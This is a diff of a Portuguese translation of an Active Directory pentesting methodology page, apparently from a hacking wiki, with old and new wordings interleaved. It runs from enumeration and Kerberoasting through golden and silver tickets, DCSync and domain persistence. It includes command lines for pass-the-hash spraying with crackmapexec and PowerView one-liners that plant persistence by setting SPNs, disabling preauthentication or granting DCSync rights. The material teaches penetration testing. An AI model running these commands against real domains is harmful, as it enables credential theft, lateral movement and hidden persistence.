Com relação ao [**ASREPRoast**](asreproast.md), agora você pode encontrar todos os usuários vulneráveis possíveis, e com relação ao [**Password Spraying**](password-spraying.md), você pode obter uma **lista de todos os nomes de usuário** e tentar a senha da conta comprometida, senhas vazias e novas senhas promissoras.
|
||||
Em relação ao [**ASREPRoast**](asreproast.md), agora você pode encontrar todos os usuários possivelmente vulneráveis, e em relação ao [**Password Spraying**](password-spraying.md), você pode obter uma **lista de todos os nomes de usuários** e tentar a senha da conta comprometida, senhas vazias e novas senhas promissoras.
|
||||
|
||||
* Você pode usar o [**CMD para realizar uma recon básica**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
* Você também pode usar o [**powershell para recon**](../basic-powershell-for-pentesters/) que será mais furtivo
|
||||
* Você também pode [**usar o powerview**](../basic-powershell-for-pentesters/powerview.md) para extrair informações mais detalhadas
|
||||
* Outra ferramenta incrível para recon em um Active Directory é o [**BloodHound**](bloodhound.md). Não é muito furtivo (dependendo dos métodos de coleta que você usa), mas **se você não se importa** com isso, você deve experimentá-lo. Encontre onde os usuários podem RDP, encontre o caminho para outros grupos, etc.
|
||||
* **Outras ferramentas automatizadas de enumeração AD são:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
* \*\*\*\*[**Registros DNS do AD**](ad-dns-records.md) \*\*\*\* pois podem conter informações interessantes.
|
||||
* Uma **ferramenta com GUI** que você pode usar para enumerar o diretório é o **AdExplorer.exe** da **SysInternal** Suite.
|
||||
* Você também pode pesquisar no banco de dados LDAP com **ldapsearch** para procurar credenciais nos campos _userPassword_ e _unixUserPassword_, ou mesmo em _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) para outros métodos.
|
||||
* Se você estiver usando o **Linux**, também pode enumerar o domínio usando [**pywerview**](https://github.com/the-useless-one/pywerview).
|
||||
* Você poderia usar o [**CMD para realizar um reconhecimento básico**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
* Você também pode usar [**powershell para reconhecimento**](../basic-powershell-for-pentesters/), que será mais discreto
|
||||
* Você também pode [**usar powerview**](../basic-powershell-for-pentesters/powerview.md) para extrair informações mais detalhadas
|
||||
* Outra ferramenta incrível para reconhecimento em um active directory é [**BloodHound**](bloodhound.md). Não é muito discreto (dependendo dos métodos de coleta que você usa), mas **se isso não importa** para você, definitivamente deve tentar. Descubra onde os usuários podem fazer RDP, encontrar caminhos para outros grupos, etc.
|
||||
* **Outras ferramentas automatizadas de enumeração AD são:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
* [**Registros DNS do AD**](ad-dns-records.md) pois podem conter informações interessantes.
|
||||
* Uma **ferramenta com GUI** que você pode usar para enumerar o diretório é **AdExplorer.exe** da **SysInternal** Suite.
|
||||
* Você também pode pesquisar no banco de dados LDAP com **ldapsearch** para procurar credenciais em campos _userPassword_ & _unixUserPassword_, ou até mesmo por _Description_. cf. [Senha no comentário do usuário AD em PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) para outros métodos.
|
||||
* Se você estiver usando **Linux**, você também pode enumerar o domínio usando [**pywerview**](https://github.com/the-useless-one/pywerview).
|
||||
* Você também pode tentar ferramentas automatizadas como:
|
||||
* [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
* [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
||||
* [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
* [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
||||
* **Extraindo todos os usuários do domínio**
|
||||
|
||||
É muito fácil obter todos os nomes de usuário do domínio no Windows (`net user /domain`, `Get-DomainUser` ou `wmic useraccount get name,sid`). No Linux, você pode usar: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ou `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
É muito fácil obter todos os nomes de usuários do domínio do Windows (`net user /domain`, `Get-DomainUser` ou `wmic useraccount get name,sid`). No Linux, você pode usar: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ou `enum4linux -a -u "usuário" -p "senha" <IP DC>`
|
||||
|
||||
> Mesmo que esta seção de Enumeração pareça pequena, ela é a parte mais importante de todas. Acesse os links (principalmente o de cmd, powershell, powerview e BloodHound), aprenda como enumerar um domínio e pratique até se sentir confortável. Durante uma avaliação, este será o momento chave para encontrar o caminho para DA ou decidir que nada pode ser feito.
|
||||
> Mesmo que esta seção de Enumeração pareça pequena, esta é a parte mais importante de todas. Acesse os links (principalmente o de cmd, powershell, powerview e BloodHound), aprenda como enumerar um domínio e pratique até se sentir confortável. Durante uma avaliação, este será o momento chave para encontrar seu caminho para DA ou para decidir que nada pode ser feito.
|
||||
|
||||
### Kerberoast
|
||||
|
||||
O objetivo do Kerberoasting é coletar **tickets TGS para serviços que são executados em nome de contas de usuário de domínio**. Parte desses tickets TGS são **criptografados com chaves derivadas de senhas de usuário**. Como consequência, suas credenciais podem ser **quebradas offline**.\
|
||||
O objetivo do Kerberoasting é colher **tickets TGS para serviços que funcionam em nome de contas de usuários de domínio**. Parte desses tickets TGS são **criptografados com chaves derivadas das senhas dos usuários**. Como consequência, suas credenciais podem ser **quebradas offline**.\
|
||||
Mais sobre isso em:
|
||||
|
||||
{% content-ref url="kerberoast.md" %}
|
||||
[kerberoast.md](kerberoast.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Conexão remota (RDP, SSH, FTP, Win-RM, etc)
|
||||
### Conexão Remota (RDP, SSH, FTP, Win-RM, etc)
|
||||
|
||||
Depois de obter algumas credenciais, você pode verificar se tem acesso a alguma **máquina**. Para isso, você pode usar o **CrackMapExec** para tentar se conectar em vários servidores com diferentes protocolos, de acordo com suas varreduras de portas.
|
||||
Uma vez que você obteve algumas credenciais, você poderia verificar se tem acesso a qualquer **máquina**. Para isso, você poderia usar **CrackMapExec** para tentar se conectar em vários servidores com diferentes protocolos, de acordo com suas varreduras de portas.
|
||||
|
||||
### Escalada de
|
||||
### Escalonamento de Privilégios Locais
|
||||
|
||||
Se você comprometeu credenciais ou uma sessão como um usuário de domínio regular e você tem **acesso** com este usuário a **qualquer máquina no domínio**, você deve tentar encontrar uma maneira de **escalar privilégios localmente e procurar por credenciais**. Isso porque apenas com privilégios de administrador local você poderá **despejar hashes de outros usuários** na memória (LSASS) e localmente (SAM).
|
||||
|
||||
Há uma página completa neste livro sobre [**escalada de privilégios locais no Windows**](../windows-local-privilege-escalation/) e uma [**lista de verificação**](../checklist-windows-privilege-escalation.md). Além disso, não se esqueça de usar [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
|
||||
### Tickets da Sessão Atual
|
||||
|
||||
É muito **improvável** que você encontre **tickets** na sessão atual do usuário **concedendo permissão para acessar** recursos inesperados, mas você pode verificar:
|
||||
```bash
|
||||
## List all tickets (if not admin, only current user tickets)
|
||||
.\Rubeus.exe triage
|
||||
|
@ -175,17 +216,17 @@ Depois de obter algumas credenciais, você pode verificar se tem acesso a alguma
|
|||
```
|
||||
### NTML Relay
|
||||
|
||||
Se você conseguiu enumerar o Active Directory, terá **mais e-mails e uma melhor compreensão da rede**. Você pode ser capaz de forçar ataques de [**relé NTML**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
Se você conseguiu enumerar o active directory, você terá **mais e-mails e uma melhor compreensão da rede**. Você pode ser capaz de forçar ataques de [**relay NTML**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
|
||||
### **Procurando Credenciais em Compartilhamentos de Computador**
|
||||
### **Procura por Creds em Compartilhamentos de Computadores**
|
||||
|
||||
Agora que você tem algumas credenciais básicas, deve verificar se pode **encontrar** quaisquer **arquivos interessantes sendo compartilhados dentro do AD**. Você poderia fazer isso manualmente, mas é uma tarefa muito chata e repetitiva (e mais ainda se você encontrar centenas de documentos que precisa verificar).
|
||||
Agora que você tem algumas credenciais básicas, deve verificar se consegue **encontrar** quaisquer **arquivos interessantes sendo compartilhados dentro do AD**. Você poderia fazer isso manualmente, mas é uma tarefa muito tediosa e repetitiva (e mais ainda se você encontrar centenas de documentos que precisa verificar).
|
||||
|
||||
[**Siga este link para aprender sobre as ferramentas que você pode usar.**](../../network-services-pentesting/pentesting-smb.md#domain-shared-folders-search)
|
||||
[**Siga este link para aprender sobre ferramentas que você poderia usar.**](../../network-services-pentesting/pentesting-smb.md#domain-shared-folders-search)
|
||||
|
||||
### Roubar Credenciais NTLM
|
||||
### Roubar Creds NTLM
|
||||
|
||||
Se você pode **acessar outros PCs ou compartilhamentos**, você pode **colocar arquivos** (como um arquivo SCF) que, se acessados de alguma forma, **dispararão uma autenticação NTML contra você** para que você possa **roubar** o **desafio NTLM** para quebrá-lo:
|
||||
Se você pode **acessar outros PCs ou compartilhamentos**, você poderia **colocar arquivos** (como um arquivo SCF) que, se de alguma forma acessados, **dispararão uma autenticação NTML contra você** para que você possa **roubar** o **desafio NTLM** para quebrá-lo:
|
||||
|
||||
{% content-ref url="../ntlm/places-to-steal-ntlm-creds.md" %}
|
||||
[places-to-steal-ntlm-creds.md](../ntlm/places-to-steal-ntlm-creds.md)
|
||||
|
@ -193,31 +234,31 @@ Se você pode **acessar outros PCs ou compartilhamentos**, você pode **colocar
|
|||
|
||||
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
|
||||
|
||||
Essa vulnerabilidade permitiu que qualquer usuário autenticado **comprometesse o controlador de domínio**.
|
||||
Esta vulnerabilidade permitia que qualquer usuário autenticado **comprometesse o controlador de domínio**.
|
||||
|
||||
{% content-ref url="printnightmare.md" %}
|
||||
[printnightmare.md](printnightmare.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Escalação de privilégios no Active Directory COM credenciais/sessão privilegiada
|
||||
## Escalação de privilégios no Active Directory COM credenciais/sessão privilegiadas
|
||||
|
||||
**Para as seguintes técnicas, um usuário de domínio regular não é suficiente, você precisa de algumas credenciais/privilégios especiais para realizar esses ataques.**
|
||||
**Para as seguintes técnicas, um usuário comum do domínio não é suficiente, você precisa de alguns privilégios/credenciais especiais para realizar esses ataques.**
|
||||
|
||||
### Extração de hash
|
||||
### Extração de Hash
|
||||
|
||||
Com sorte, você conseguiu **comprometer alguma conta de administrador local** usando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) incluindo relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalando privilégios localmente](../windows-local-privilege-escalation/).\
|
||||
Esperançosamente, você conseguiu **comprometer alguma conta de administrador local** usando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) incluindo relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalando privilégios localmente](../windows-local-privilege-escalation/).\
|
||||
Então, é hora de despejar todos os hashes na memória e localmente.\
|
||||
[**Leia esta página sobre diferentes maneiras de obter os hashes.**](broken-reference)
|
||||
[**Leia esta página sobre diferentes maneiras de obter os hashes.**](broken-reference/)
|
||||
|
||||
### Pass the Hash
|
||||
|
||||
**Depois de ter o hash de um usuário**, você pode usá-lo para **se passar por ele**.\
|
||||
Você precisa usar alguma **ferramenta** que **realize** a **autenticação NTLM usando** esse **hash**, **ou** você poderia criar um novo **sessionlogon** e **injetar** esse **hash** dentro do **LSASS**, então quando qualquer **autenticação NTLM for realizada**, esse **hash será usado**. A última opção é o que o mimikatz faz.\
|
||||
**Uma vez que você tem o hash de um usuário**, você pode usá-lo para **se passar por ele**.\
|
||||
Você precisa usar alguma **ferramenta** que irá **realizar** a **autenticação NTLM usando** esse **hash**, **ou** você poderia criar um novo **sessionlogon** e **injetar** esse **hash** dentro do **LSASS**, então quando qualquer **autenticação NTLM for realizada**, esse **hash será usado**. A última opção é o que o mimikatz faz.\
|
||||
[**Leia esta página para mais informações.**](../ntlm/#pass-the-hash)
|
||||
|
||||
### Over Pass the Hash/Pass the Key
|
||||
|
||||
Este ataque tem como objetivo **usar o hash NTLM do usuário para solicitar tickets Kerberos**, como uma alternativa ao comum Pass The Hash sobre o protocolo NTLM. Portanto, isso pode ser especialmente **útil em redes onde o protocolo NTLM é desativado** e apenas **Kerberos é permitido** como protocolo de autenticação.
|
||||
Este ataque visa **usar o hash NTLM do usuário para solicitar tickets Kerberos**, como uma alternativa ao comum Pass The Hash sobre o protocolo NTLM. Portanto, isso pode ser especialmente **útil em redes onde o protocolo NTLM está desabilitado** e apenas **Kerberos é permitido** como protocolo de autenticação.
|
||||
|
||||
{% content-ref url="over-pass-the-hash-pass-the-key.md" %}
|
||||
[over-pass-the-hash-pass-the-key.md](over-pass-the-hash-pass-the-key.md)
|
||||
|
@ -231,7 +272,7 @@ Este ataque é semelhante ao Pass the Key, mas em vez de usar hashes para solici
|
|||
[pass-the-ticket.md](pass-the-ticket.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Reutilização de credenciais
|
||||
### Reutilização de Credenciais
|
||||
|
||||
Se você tem o **hash** ou **senha** de um **administrador local**, você deve tentar **fazer login localmente** em outros **PCs** com ele.
|
||||
```bash
|
||||
|
@ -240,41 +281,41 @@ Se você tem o **hash** ou **senha** de um **administrador local**, você deve t
|
|||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Observe que isso é bastante **ruidoso** e o **LAPS** iria **mitigar** isso.
|
||||
Observe que isso é bastante **barulhento** e o **LAPS** ajudaria a **mitigar** isso.
|
||||
{% endhint %}
|
||||
|
||||
### MSSQL Abuse & Trusted Links
|
||||
### Abuso do MSSQL & Links Confiáveis
|
||||
|
||||
Se um usuário tem privilégios para **acessar instâncias MSSQL**, ele pode ser capaz de usá-lo para **executar comandos** no host MSSQL (se estiver em execução como SA), **roubar** o **hash** NetNTLM ou até mesmo realizar um **ataque de relé**.\
|
||||
Além disso, se uma instância MSSQL é confiável (link de banco de dados) por uma instância MSSQL diferente. Se o usuário tiver privilégios sobre o banco de dados confiável, ele poderá **usar o relacionamento de confiança para executar consultas também na outra instância**. Essas confianças podem ser encadeadas e, em algum momento, o usuário pode ser capaz de encontrar um banco de dados mal configurado onde pode executar comandos.\
|
||||
**Os links entre bancos de dados funcionam mesmo em confianças de floresta.**
|
||||
Se um usuário tem privilégios para **acessar instâncias do MSSQL**, ele poderia ser capaz de usá-lo para **executar comandos** no host do MSSQL (se executando como SA), **roubar** o **hash** NetNTLM ou até realizar um **ataque** de **relay**.\
|
||||
Além disso, se uma instância do MSSQL é confiável (link de banco de dados) por uma instância diferente do MSSQL. Se o usuário tem privilégios sobre o banco de dados confiável, ele vai poder **usar a relação de confiança para executar consultas também na outra instância**. Essas confianças podem ser encadeadas e em algum momento o usuário pode ser capaz de encontrar um banco de dados mal configurado onde ele pode executar comandos.\
|
||||
**Os links entre bancos de dados funcionam até mesmo através de confianças de floresta.**
|
||||
|
||||
{% content-ref url="abusing-ad-mssql.md" %}
|
||||
[abusing-ad-mssql.md](abusing-ad-mssql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Delegação não restrita
|
||||
### Delegação Irrestrita
|
||||
|
||||
Se você encontrar algum objeto de computador com o atributo [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) e tiver privilégios de domínio no computador, poderá despejar TGTs da memória de todos os usuários que fazem login no computador.\
|
||||
Portanto, se um **Administrador de Domínio fizer login no computador**, você poderá despejar seu TGT e se passar por ele usando [Pass the Ticket](pass-the-ticket.md).\
|
||||
Graças à delegação restrita, você pode até mesmo **comprometer automaticamente um servidor de impressão** (esperançosamente será um DC).
|
||||
Se você encontrar qualquer objeto Computador com o atributo [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) e você tem privilégios de domínio no computador, você será capaz de despejar TGTs da memória de todos os usuários que fizerem login no computador.\
|
||||
Então, se um **Administrador de Domínio fizer login no computador**, você será capaz de despejar seu TGT e se passar por ele usando [Pass the Ticket](pass-the-ticket.md).\
|
||||
Graças à delegação restrita, você poderia até **comprometer automaticamente um Servidor de Impressão** (com sorte será um DC).
|
||||
|
||||
{% content-ref url="unconstrained-delegation.md" %}
|
||||
[unconstrained-delegation.md](unconstrained-delegation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Delegação restrita
|
||||
### Delegação Restrita
|
||||
|
||||
Se um usuário ou computador tiver permissão para "Delegação restrita", ele poderá **se passar por qualquer usuário para acessar alguns serviços em um computador**.\
|
||||
Então, se você **comprometer o hash** deste usuário / computador, poderá **se passar por qualquer usuário** (até mesmo administradores de domínio) para acessar alguns serviços.
|
||||
Se um usuário ou computador é permitido para "Delegação Restrita", ele será capaz de **se passar por qualquer usuário para acessar alguns serviços em um computador**.\
|
||||
Então, se você **comprometer o hash** deste usuário/computador, você será capaz de **se passar por qualquer usuário** (mesmo administradores de domínio) para acessar alguns serviços.
|
||||
|
||||
{% content-ref url="constrained-delegation.md" %}
|
||||
[constrained-delegation.md](constrained-delegation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Delegação restrita baseada em recursos
|
||||
### Delegação Restrita Baseada em Recursos
|
||||
|
||||
É possível obter a execução de código com **privilégios elevados em um computador remoto se você tiver privilégio de gravação** no objeto AD desse computador.
|
||||
É possível obter execução de código com **privilégios elevados em um computador remoto se você tem privilégio de ESCRITA** no objeto AD desse computador.
|
||||
|
||||
{% content-ref url="resource-based-constrained-delegation.md" %}
|
||||
[resource-based-constrained-delegation.md](resource-based-constrained-delegation.md)
|
||||
|
@ -282,59 +323,214 @@ Então, se você **comprometer o hash** deste usuário / computador, poderá **s
|
|||
|
||||
### Abuso de ACLs
|
||||
|
||||
O usuário comprometido pode ter alguns **privilégios interessantes sobre alguns objetos de domínio** que podem permitir que você **se mova** lateralmente / **eleve** privilégios.
|
||||
O usuário comprometido poderia ter alguns **privilégios interessantes sobre alguns objetos de domínio** que poderiam permitir que você **mova** lateralmente/**escale** privilégios.
|
||||
|
||||
{% content-ref url="acl-persistence-abuse/" %}
|
||||
[acl-persistence-abuse](acl-persistence-abuse/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Abuso do serviço de spooler de impressão
|
||||
### Abuso do serviço de Spooler de Impressora
|
||||
|
||||
Se você puder encontrar algum **serviço de spooler ouvindo** dentro do domínio, poderá **abusar** dele para **obter novas credenciais** e **elevar privilégios**.\
|
||||
[**Mais informações sobre como abusar dos serviços de spooler aqui.**](printers-spooler-service-abuse.md)
|
||||
Se você encontrar qualquer **serviço de Spool ouvindo** dentro do domínio, você pode ser capaz de **abusar** dele para **obter novas credenciais** e **escalar privilégios**.\
|
||||
[**Mais informações sobre como abusar dos serviços de Spooler aqui.**](printers-spooler-service-abuse.md)
|
||||
|
||||
### Abuso de sessões de terceiros
|
||||
|
||||
Se **outros usuários acessarem** a **máquina comprometida**, é possível **coletar credenciais da memória** e até mesmo **injetar beacons em seus processos** para se passar por eles.\
|
||||
Normalmente, os usuários acessarão o sistema via RDP, então aqui está como realizar alguns ataques em sessões RDP de terceiros:
|
||||
Se **outros usuários** **acessarem** a máquina **comprometida**, é possível **coletar credenciais da memória** e até **injetar beacons em seus processos** para se passar por eles.\
|
||||
Geralmente os usuários acessarão o sistema via RDP, então aqui você tem como realizar um par de ataques em sessões RDP de terceiros:
|
||||
|
||||
{% content-ref url="rdp-sessions-abuse.md" %}
|
||||
[rdp-sessions-abuse.md](rdp-sessions-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### LAPS
|
||||
|
||||
O **LAPS** permite que você **gerencie a senha do Administrador local** (que é **randomizada**, única e **alterada regularmente**) em computadores integrados ao domínio. Essas senhas são armazenadas centralmente no Active Directory e restritas a usuários autorizados usando ACLs. Se você tem **permissão suficiente para ler essas senhas, você poderia mover para outros computadores**.
|
||||
|
||||
{% content-ref url="laps.md" %}
|
||||
[laps.md](laps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Roubo de Certificado
|
||||
|
||||
Coletar certificados da máquina comprometida pode ser uma maneira de escalar privilégios dentro do ambiente:
|
||||
|
||||
{% content-ref url="ad-certificates/certificate-theft.md" %}
|
||||
[certificate-theft.md](ad-certificates/certificate-theft.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Abuso de Modelos de Certificado
|
||||
|
||||
Se modelos vulneráveis estão configurados, é possível abusar deles para escalar privilégios:
|
||||
|
||||
{% content-ref url="ad-certificates/domain-escalation.md" %}
|
||||
[domain-escalation.md](ad-certificates/domain-escalation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Pós-exploração com conta de alto privilégio
|
||||
|
||||
### Despejando Credenciais de Domínio
|
||||
|
||||
Uma vez que você obtém privilégios de **Administrador de Domínio** ou ainda melhor **Administrador de Empresa**, você pode **despejar** o **banco de dados do domínio**: _ntds.dit_.
|
||||
|
||||
[**Mais informações sobre o ataque DCSync podem ser encontradas aqui**](dcsync.md).
|
||||
|
||||
[**Mais informações sobre como roubar o NTDS.dit podem ser encontradas aqui**](broken-reference/)
|
||||
|
||||
### Privesc como Persistência
|
||||
|
||||
Algumas das técnicas discutidas anteriormente podem ser usadas para persistência.\
|
||||
Por exemplo, você poderia:
|
||||
|
||||
* Tornar usuários vulneráveis ao [**Kerberoast**](kerberoast.md)
|
||||
|
||||
```powershell
|
||||
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
|
||||
```
|
||||
* Tornar usuários vulneráveis ao [**ASREPRoast**](asreproast.md)
|
||||
|
||||
```powershell
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
* Conceder privilégios de [**DCSync**](./#dcsync) a um usuário
|
||||
|
||||
```powershell
|
||||
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
|
||||
```
|
||||
|
||||
### Silver Ticket
|
||||
|
||||
O ataque Silver ticket é baseado em **criar um TGS válido para um serviço uma vez que o hash NTLM do serviço é possuído** (como o **hash da conta do PC**). Assim, é possível **ganhar acesso a esse serviço** forjando um TGS personalizado **como qualquer usuário** (como acesso privilegiado a um computador).
|
||||
|
||||
{% content-ref url="silver-ticket.md" %}
|
||||
[silver-ticket.md](silver-ticket.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Golden Ticket
|
||||
|
||||
Um **TGT válido como qualquer usuário** pode ser criado **usando o hash NTLM da conta krbtgt do AD**. A vantagem de forjar um TGT em vez de TGS é ser **capaz de acessar qualquer serviço** (ou máquina) no domínio como o usuário se passando.
|
||||
|
||||
{% content-ref url="golden-ticket.md" %}
|
||||
[golden-ticket.md](golden-ticket.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Diamond Ticket
|
||||
|
||||
Estes são como golden tickets forjados de uma maneira que **burla mecanismos comuns de detecção de golden tickets.**
|
||||
|
||||
{% content-ref url="diamond-ticket.md" %}
|
||||
[diamond-ticket.md](diamond-ticket.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Persistência de Conta com Certificados**
|
||||
|
||||
**Ter certificados de uma conta ou ser capaz de solicitá-los** é uma maneira muito boa de ser capaz de persistir na conta do usuário (mesmo se ele mudar a senha):
|
||||
|
||||
{% content-ref url="ad-certificates/account-persistence.md" %}
|
||||
[account-persistence.md](ad-certificates/account-persistence.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Persistência de Domínio com Certificados**
|
||||
|
||||
**Usar certificados também é possível persistir com altos privilégios dentro do domínio:**
|
||||
|
||||
{% content-ref url="ad-certificates/domain-persistence.md" %}
|
||||
[domain-persistence.md](ad-certificates/domain-persistence.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Grupo AdminSDHolder
|
||||
|
||||
A Lista de Controle de Acesso (ACL) do objeto **AdminSDHolder** é usada como um modelo para **copiar** **permissões** para **todos os “grupos protegidos”** no Active Directory e seus membros. Grupos protegidos incluem grupos privilegiados como Administradores de Domínio, Administradores, Administradores de Empresa e Administradores de Esquema, Operadores de Backup e krbtgt.\
|
||||
Por padrão, a ACL deste grupo é copiada dentro de todos os "grupos protegidos". Isso é feito para evitar mudanças intencionais ou acidentais nesses grupos críticos. No entanto, se um atacante **modificar a ACL** do grupo **AdminSDHolder**, por exemplo, dando permissões completas a um usuário regular, esse usuário terá permissões completas em todos os grupos dentro do grupo protegido (em uma hora).\
|
||||
E se alguém tentar deletar esse usuário dos Administradores de Domínio (por exemplo) em uma hora ou menos, o usuário estará de volta ao grupo.\
|
||||
[**Mais informações sobre o Grupo AdminDSHolder aqui.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
### Credenciais DSRM
|
||||
|
||||
Existe uma conta de **administrador local** dentro de cada **DC**. Tendo privilégios de admin nesta máquina, você pode usar mimikatz para **despejar o hash do Administrador local**. Então, modificando um registro para **ativar essa senha** para que você possa acessar remotamente a este usuário Administrador local.
|
||||
|
||||
{% content-ref url="dsrm-credentials.md" %}
|
||||
[dsrm-credentials.md](dsrm-credentials.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Persistência de ACL
|
||||
|
||||
Você poderia **conceder** alguns **privilégios especiais** a um **usuário** sobre alguns objetos de domínio específicos que permitirão ao usuário **escalar privilégios no futuro**.
|
||||
|
||||
{% content-ref url="acl-persistence-abuse/" %}
|
||||
[acl-persistence-abuse](acl-persistence-abuse/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Descritores de Segurança
|
||||
|
||||
Os **descritores de segurança** são usados para **armazenar** as **permissões** que um **objeto** tem **sobre** outro **objeto**. Se você puder apenas **fazer** uma **pequena alteração** no **descritor de segurança** de um objeto, você pode obter privilégios muito interessantes sobre esse objeto sem precisar ser membro de um grupo privilegiado.
|
||||
|
||||
{% content-ref url="security-descriptors.md" %}
|
||||
[security-descriptors.md](security-descriptors.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Skeleton Key
|
||||
|
||||
**Modificar LSASS** na memória para criar uma **senha mestra** que funcionará para qualquer conta no domínio.
|
||||
|
||||
{% content-ref url="skeleton-key.md" %}
|
||||
[skeleton-key.md](skeleton-key.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### SSP Personalizado
|
||||
|
||||
[Aprenda o que é um SSP (Provedor de Suporte de Segurança) aqui.](../authentication-credentials-uac-and-efs.md#security-support-provider-interface-sspi)\
|
||||
Você pode criar seu **próprio SSP** para **capturar** em **texto claro** as **credenciais** usadas para acessar a máquina.\\
|
||||
|
||||
{% content-ref url="custom-ssp.md" %}
|
||||
[custom-ssp.md](custom-ssp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### DCShadow
|
||||
|
||||
Registra um **novo Controlador de Domínio** no AD e o usa para **empurrar atributos** (SIDHistory, SPNs...) em objetos especificados **sem** deixar nenhum **registro** sobre as **modificações**. Você **precisa de privilégios de DA** e estar dentro do **domínio raiz**.\
|
||||
Observe que se você usar dados errados, registros muito feios aparecerão.
|
||||
|
||||
{% content-ref url="dcshadow.md" %}
|
||||
[dcshadow.md](dcshadow.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Persistência LAPS
|
||||
|
||||
Anteriormente discutimos sobre como escalar privilégios se você tem **permissão suficiente para ler senhas LAPS**. No entanto, essas senhas também podem ser usadas para **manter persistência**.\
|
||||
Confira:
|
||||
|
||||
{% content-ref url="laps.md" %}
|
||||
[laps.md](laps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Escalada de Privilégios na Floresta - Confianças de Domínio
|
||||
|
||||
A Microsoft considera que o **domínio não é um Limite de Segurança**, a **Floresta é o Limite de Segurança**. Isso significa que **se você comprometer um domínio dentro de uma Floresta, você pode ser capaz de comprometer toda a Floresta**.
|
||||
|
||||
### Informações Básicas
|
||||
|
||||
Em alto nível, uma [**confiança de domínio**](http://technet.microsoft.com/en-us/library/cc759554\(v=ws.10\).aspx) estabelece a capacidade de **usuários em um domínio autenticarem** em recursos ou agirem como um [principal de segurança](https://technet.microsoft.com/en-us/library/cc780957\(v=ws.10\).aspx) **em outro domínio**.
|
||||
|
||||
Essencialmente, tudo o que uma confiança faz é **ligar os sistemas de autenticação de dois domínios** e permitir que o tráfego de autenticação flua entre eles através de um sistema de referências.\
|
||||
Quando **2 domínios confiam um no outro, eles trocam chaves**, essas **chaves** serão **salvas** nos **DCs** de **cada domínio** (**2 chaves por direção de confiança, mais recente e anterior**) e as chaves serão a base da confiança.
|
||||
|
||||
